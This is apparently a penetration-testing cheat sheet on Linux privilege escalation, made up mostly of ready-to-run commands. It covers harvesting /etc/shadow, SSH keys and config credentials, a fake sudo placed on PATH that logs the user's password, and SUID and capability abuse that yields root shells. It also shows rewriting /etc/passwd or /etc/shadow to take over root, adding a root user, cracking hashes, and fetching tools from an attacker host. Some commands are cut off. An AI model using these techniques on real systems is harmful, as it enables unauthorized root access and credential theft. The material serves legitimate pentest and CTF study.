Linux Privilege Escalation

Last modified: 2023-10-02

Privilege Escalation Remote Code Execution

Privilege Escalation (PrivEsc) is the act of exploiting a bug, a design flaw, or a configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. Once you have root privileges on Linux, you can get sensitive information in the system.


There are some tools for investigating automatically.

Messages When Logged In

After logged in the target system, don’t miss the messages. We might find interesting information.

OS Information

# Alias
hostname -a
hostname -d
# IP address for the host name
hostname -i
# All IP address for the host
hostname -I

uname -a
# Kernel release
uname -r
# Kernel version
uname -v
# OS
uname -o

# OS kernel version
cat /proc/version
cat /etc/*release

# Current user

# Environments
echo $PATH

# Positional arguments
echo $0
echo $1
echo $2

Find OS Vulnerability

If we run uname -a and get the OS version, search vulnerabilities.

Linux examplehost 4.4.0-31-generic #50-Ubuntu SMP Wed Jul 13 00:07:12 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux

For example above, we can search ubuntu 4.4.0-31-generic in search engines.

Interesting Information

# Bash files
# If we have the write permission for .bashrc or .profile, 
# we can write arbitrary command to any line in that files.

# Authentication event logs
cat /var/log/auth.log | grep chpasswd
cat /var/log/auth.log | grep root
strings /var/log/auth.log | grep chpasswd
strings /var/log/auth.log | grep root

# Apache
cat /var/log/apache/access.log
cat /var/log/apache/error.log
cat /var/log/apache2/access.log
cat /var/log/apache2/error.log
cat /etc/apache2/.htpasswd
cat /etc/apache2/sites-enabled/domain.conf
cat /etc/apache2/sites-available/domain.conf
cat /etc/apache2/sites-available/000-default.conf
cat /usr/local/apache2/conf/httpd.conf
ls -al /usr/local/apache2/htdocs/

# Nginx
cat /var/log/nginx/access.log
cat /var/log/nginx/error.log
cat /etc/nginx/nginx.conf
cat /etc/nginx/conf.d/.htpasswd
cat /etc/nginx/sites-available/
cat /etc/nginx/sites-enabled/
cat /usr/local/nginx/conf/nginx.conf
cat /usr/local/etc/nginx/nginx.conf

# PHP web conf
cat /etc/php/x.x/apache2/php.ini
cat /etc/php/x.x/cli/php.ini
cat /etc/php/x.x/fpm/php.ini

# Bash Files
cat .bashrc
cat .bash_history
cat .bash_profile
cat .profile
cat /var/log/bash.log

# Cron jobs
cat /etc/cron*
cat /etc/crontab
cat /etc/cron.d/*
cat /etc/cron.daily/*
cat /etc/cron.hourly/*
cat /etc/cron.monthly/*
cat /etc/cron.weekly/*
cat /var/spool/cron/*
cat /var/spool/cron/crontabs/*
# List all cron jobs
crontab -l
crontab -l -u username

# Hosts
cat /etc/hosts
# LDAP config
cat /etc/ldap/ldap.conf
# Messages
cat /etc/issue
cat /etc/motd

# MySQL (MariaDB)
cat /etc/mysql/my.cnf
cat /etc/mysql/debian.cnf
cat /etc/mysql/mariadb.cnf
cat /etc/mysql/conf.d/mysql.cnf
cat /etc/mysql/mysql.conf.d/mysql.cnf

# Nameserver
cat /etc/resolv.conf
# NFS settings
cat /etc/exports
cat /etc/pam.d/passwd
# Sudo config
cat /etc/sudoers
cat /etc/sudoers.d/usersgroup
# SSH config
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
# Users and passwords
cat /etc/passwd
cat /etc/shadow
# List of all groups on the system
cat /etc/group

# File system table
cat /etc/fstab

# Xpad (sensitive information e.g. user password)
cat .config/xpad/*

# SSH keys
ls -la /home /root /etc/ssh /home/*/.ssh/; locate id_rsa; locate id_dsa; find / -name id_rsa 2> /dev/null; find / -name id_dsa 2> /dev/null; find / -name authorized_keys 2> /dev/null; cat /home/*/.ssh/id_rsa; cat /home/*/.ssh/id_dsa

# Root folder of web server
ls /var/www/

# Sometimes, we find something...
ls -la /opt/
ls -la /srv/

# Temporary files
ls -la /dev/shm/
ls -la /tmp

# Services
ls -al /etc/systemd/system/
ls -al /lib/systemd/system/

# Mails
ls -la /var/mail
ls -la /var/spool/mail

# Security policies
ls -la /etc/apparmor.d/

# Kernel
# Print the message buffer of the kernel
# --human: Human readable output
dmesg --human
# --follow: Wait for new messages
dmesg --follow
# List kernel modules
cat /proc/modules

# Routing table
ip route show
# -r: route
# -n: don't resolve name
netstat -rn

# Check outdated packages
apt list --upgradable
apt list --upgradable | grep polkit

Open Ports

# -p: display PID/Program name for sockets
# -u: udp
# -n: don't resolve names
# -t: tcp
# -a: display all sockets
netstat -punta

# Filter only LISTEN ports
netstat -punta | grep -i listen

# -n: don't resolve service names
# -t: show only TCP sockets
# -p: show process using socket
# -u: show only UDP sockets
ss -ntpu

To find listening ports, add "-l" flag.

# -l: show listening sockets
ss -ltp

Access open ports that cannot be accessed from outside

If we discover a listen port that cannot be accessed externally as below, we can access this port by port forwarding.

tcp  0  0*  LISTEN  -                   

There are various methods to do that.

  • Method 1. Using Socat

    In remote machine, download the socat and run it.

    # we need to download the socat binary file from local machine
    wget http://<local-ip>:<local-port>/socat
    chmod +x socat
    socat tcp-listen:8090,fork,reuseaddr tcp:localhost:8080
  • Method 2. Using SSH Tunnel (SSH credential required)

    In local machine, run the ‘ssh -L’.

    ssh -L 8090:localhost:8080 remote-user@<remote-ip>

Now we can access to http://<remote-ip>:8090/ in local machine and actually can get the content of http://<remote-ip>:8080/.

Process Monitors

# List all processes
# Select IPv[46] files
lsof -i
# Select IPv[46] files against specific port
lsof -i:53
lsof -i:80
# Select IPv[46] files against specific port (no port names)
lsof -i:53 -P
lsof -i:80 -P
# Specify user
lsof -u username

# Display the currently-running processes.
ps aux
ps aux | grep ping
# If the right side of the result is cut off, pipe with cat command.
ps aux | cat
ps aux | cat | grep ping

By using pspy, you can fetch processes without root privileges.


# -p: print commands to stdout
# -f: print file system events to stdout
# -i: interval in milliseconds
./pspy64 -pf -i 1000

Dump Information

If some process (like ping) is running as root, you may be able to capture the interesting information using tcpdump.

# -i lo: specify interface (lo: loopback address, localhost)
# -A: print each packet in ASCII
tcpdump -i lo -A

Override Command

If some command is executed in processes as our current user, we can override the command to our arbitrary command.
Assume sudo cat /etc/shadow command is executed in the process.
sudo command asks the password of the current user. So if we don't have the current user's password yet, worth getting the password.

To do so, we can create the fake sudo command under the current user’s home directory.

mkdir /home/<user>/bin
touch /home/<user>/bin/sudo
chmod +x /home/<user>/bin/sudo

Then insert a payload in /home/<user>/bin/sudo.
This sudo command reads the value of the password in prompt and write the value to “password.txt”.


read password
echo $password >> /home/<user>/password.txt

In addition, we need to export the /home/<user>/bin to the PATH on the top of the /home/<user>/.bashrc.

export PATH=/home/<user>/bin:$PATH

Wait a while, we should see the “password.txt” is created.

cat password.txt

Now we get the current user password.

Process Tracing

Sometimes we can retrieve the sensitive information by reading sequential processes with stract.

strace -e read -p `ps -ef | grep php | awk '{print $2}'`

Sensitive Files with Given Keywords

The "find" command searches files in the real system.

find / -name "*.txt" 2>/dev/null
find /opt -name "*.txt" 2>/dev/null
find / -name "passwd" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
find / -name "users" 2>/dev/null
find / -name "*user*" 2>/dev/null
find / -name "secret.key" -or -name "secret" 2>/dev/null
find / -name "credential*.txt" 2>/dev/null
find / -name "*secret*" -or -name "*credential*" 2>/dev/null
find / -name "*root*" -or -name "*password*" 2>/dev/null
find / -name "*.key" -or -name "*.db" 2>/dev/null
find / -name "*data*" 2>/dev/null
find / -name ".env" 2>/dev/null
find / -name "*flag*" 2>/dev/null

# SQL files
find / -name "*.sql" 2>/dev/null
strings example.sql

# Backup files may contain sensitive information
find / -name "*backup*" 2>/dev/null
find / -name "*.bak*" 2>/dev/null
find / -name "*.back*" 2>/dev/null
find / -name "*.old" 2>/dev/null

# Histories
find / -name "*history*" 2>/dev/null

# Backup files for /etc/shadow.
# ex. /var/shadow.bak
find / -name *shadow* 2>/dev/null

# Kerberos
find / -name "*.keytab" 2>/dev/null

If you want to find more faster, use "locate" command.
It searches from the database on the system. It's faster than "find" but the found information is older.

locate data
locate flag
locate flag*.txt
locate *flag*
locate password
locate *password*
locate *save*
locate *save.txt
locate user.txt
locate user*
locate *user*
locate root.txt
locate *root*
locate .db
locate .txt

SUID (Set User ID)

It allows users to run an executable as root privilege.

# Option 1
find / -type f -perm -04000 2>/dev/null
# Option 2
find / -type f -perm -u=s 2>/dev/null
# Option 3
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

If you'll get some SUID files, research the information of them using GTFOBins.


If the "find" command is set as SUID, you can execute some commands as root privileges.

find ./ -exec "whoami" \;
find /etc/shadow -exec cat {} \;
find /root -exec ls -al {} \;


If the "cputils" is set as SUID, you can copy the sensitive file to another one.


Enter the name of source file: /home/<user>/.ssh/id_rsa
Enter the name of target file: /tmp/id_rsa


  1. Copy /etc/passwd and Update the Root Line
cp /etc/passwd .
vim passwd

Then update "root:x:..." to "root:password123:...".

  1. Replace with Our New Passwd File

Using pandoc command, we can replace the original /etc/passwd with our updated passwd file.

pandoc ./passwd -t plain -o /etc/passwd

Now we can login as root using new password.

su root
Password: password123


This exploit is useful.

# Download it in local machine
wget -O

# Transfer it to target machine
wget http://<local-ip>:8000/
python3 &
firejail --join=<PID>
su -

Writable Directories & Files

# Writable directories
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | sort -u

# System service files
find / -writable -name "*.service" 2>/dev/null


To find files that are set capabilities.

getcap -r / 2>/dev/null


First we need to check the current user id by executing 'id' command.


uid=33(www-data) gid=33(www-data) groups=33(www-data)

Then execute the following command to modify the file owner to the current user.
Replace the attribute numbers with the current user id.

# Python
python -c 'import os;os.chown("/etc/shadow",33,33)'

# Ruby
ruby -e 'require "fileutils"; FileUtils.chown(33, 33, "/etc/shadow")'
# directories also can be modified.
ruby -e 'require "fileutils"; FileUtils.chown(33, 33, "/root")'


# Perl
perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'

php -r "posix_setuid(0); system('$CMD');"

# Python
python -c 'import os; os.setuid(0); os.system("/bin/bash")'


# Tcpdump - we can sniff sensitive information by running tcpdump for a while.
tcpdump -i lo -A

Bypass file read permission checks and directory read and execute permission checks.

# Tar (
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'

Set Capabilities

setcap cap_setuid+ep /path/to/binary

If you found the setcap with SUID, you can manipulate commands like Python.

cp /usr/bin/python3 /home/<current-user>/python3
setcap cap_setuid+ep /home/<current-user>/python3

Then get a root shell.

/home/<current-user>/python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'

Override /etc/passwd, /etc/shadow


If we have write permission of /etc/passwd by some means, we can modify this file as desired for us. First check the content of that file with cat /etc/passwd.


By removing this x character in the root line, we can become root without password. Below


After that, we can get a shell as root using the following command.

su root


If we have write permission of /etc/shadow by some means, we can modify the password for each user.
First of all, create a new password using openssl.

# -6: sha512 algorithm
# password: this is the root password
openssl passwd -6 salt=salt password

# output

After generating the hash, update the root password hash to this hash ($6$salt$I…) in /etc/shadow.


Now we can get a shell as root with the password "password".

su root
# password: password

Sensitive Contents in Files

# -r: recursive
# -n: line number
# -i: ignore case
grep -rni root ./
grep -rni password ./
grep -rni passwd ./
grep -rni db_password ./
grep -rni db_passwd ./

# Find user's information
grep -rni root ./
grep -rni john ./

# -e: OR Searching
grep -re admin -re root -re credential -re password ./
grep -re secret -re key ./

# -v: Exclude
grep -rni password -v node_modules ./

# -E: regex
grep -riE 'flag{.*}' ./

# IP Address Searching
grep -rE -o "([0-9]{1,3}[\.]){3}[0-9]{1,3}" ./

# -h: no output filenames
grep -h root ./

Disks (Drives)

List disks information on the target system.

# Find mounted folders
# List information about block drives
# or
fdisk -l
# or
ls -al /dev | grep disk

# --------------------------------------------------

# Result examples
xvda    202:0    0  40G  0 disk 
└─xvda1 202:1    0  40G  0 part /etc/hosts

If we find the drives, we can mount it.

mkdir -p /mnt/tmp
mount /dev/xvda1 /mnt/tmp

Crack User Passwords

If we can access /etc/passwd and /etc/shadow as well, we can crack user passwords using unshadow and John The Ripper.

1. Copy Files

cp /etc/passwd ./passwd.txt
cp /etc/shadow ./shadow.txt

2. Combines Two Files

unshadow passwd.txt shadow.txt > passwords.txt

3. Crack Passwords

john --wordlist=wordlist.txt passwords.txt

# If the hash in /etc/shadow contains the $y$ prefix, specify the hash format to "crypt".
# btw, $ye$ is the scheme of the yescrypt.
john --format=crypt --wordlist=wordlist.txt passwords.txt

Execute Commands as Root Privilege

Change Shebang in Shell Script

Add "-p" option at the first line to execute the script as root privilege.

#!/bin/bash -p

Use the Set User ID (SUID)

If you can change permission of the /bin/bash , add SUID to the file.

chmod 4755 /bin/bash

Then you execute it as root privilege by adding "-p" option.
You'll be able to pwn the target shell.

user@machine:~/$ /bin/bash -p
root@machine:~/$ whoami

Update Sensitive Information

1. Change Password of Current User

We need to know the current user's password.

echo -n '<current-password>\n<new-password>\n<new-password>' | passwd

2. Add Another Root User to /etc/shadow

  1. Generate New Password

    # -6: SHA512
    openssl passwd -6 -salt salt password

    Copy the output hash.

  2. Add New Line to /etc/shadow in Target Machine

    You need to do as root privileges.

    echo '<new-user-name>:<generated-password-hash>:19115:0:99999:7:::' >> /etc/shadow
  3. Switch to New User

    To confirm, switch to generated new user.

    su <new-user>

Display the Content of Files You Don't Have Permissions

Using "more" command.

1. Make the Terminal's Window Size Smaller

2. Run "more" Command

The text like "--More--(60%)" will be appeared.

3. Press 'v' on Keyboard to Enter Vim Mode

4. Enter ':e ~/somefile'

Password Guessing from Old One

password2021 -> password2022, password2023
april123 -> may123, june123
apple -> banana, orange